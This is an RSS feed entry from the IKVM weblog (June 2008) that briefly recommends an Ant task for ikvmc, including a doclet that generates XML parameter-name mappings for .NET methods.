      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <a href="http://andy-malakov.blogspot.com/2008/06/ant-task-for-ikvmc.html">Andy Malakov</a> wrote
      an <a href="http://ant-ikvmc.sourceforge.net/">Ant task for ikvmc</a>. It also contains
      a doclet that can generate an xml mapping file that contains all the parameter names
      that ikvmc can then attach to the .NET methods (ikvmc already does this for methods
      with debugging information, but that doesn't work for abstract methods).
   </p>
        <p>
      Good stuff!
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f0ac439f-699f-47ed-8d18-28eff25cfc40" />
      </body>
      <title>Useful Tool</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</link>
      <pubDate>Wed, 25 Jun 2008 07:08:54 GMT</pubDate>
      <description>&lt;p&gt;
   &lt;a href="http://andy-malakov.blogspot.com/2008/06/ant-task-for-ikvmc.html"&gt;Andy Malakov&lt;/a&gt; wrote
   an &lt;a href="http://ant-ikvmc.sourceforge.net/"&gt;Ant task for ikvmc&lt;/a&gt;. It also contains
   a doclet that can generate an xml mapping file that contains all the parameter names
   that ikvmc can then attach to the .NET methods (ikvmc already does this for methods
   with debugging information, but that doesn't work for abstract methods).
&lt;/p&gt;
&lt;p&gt;
   Good stuff!
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f0ac439f-699f-47ed-8d18-28eff25cfc40"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</comments>
    </item>
  </channel>
</rss>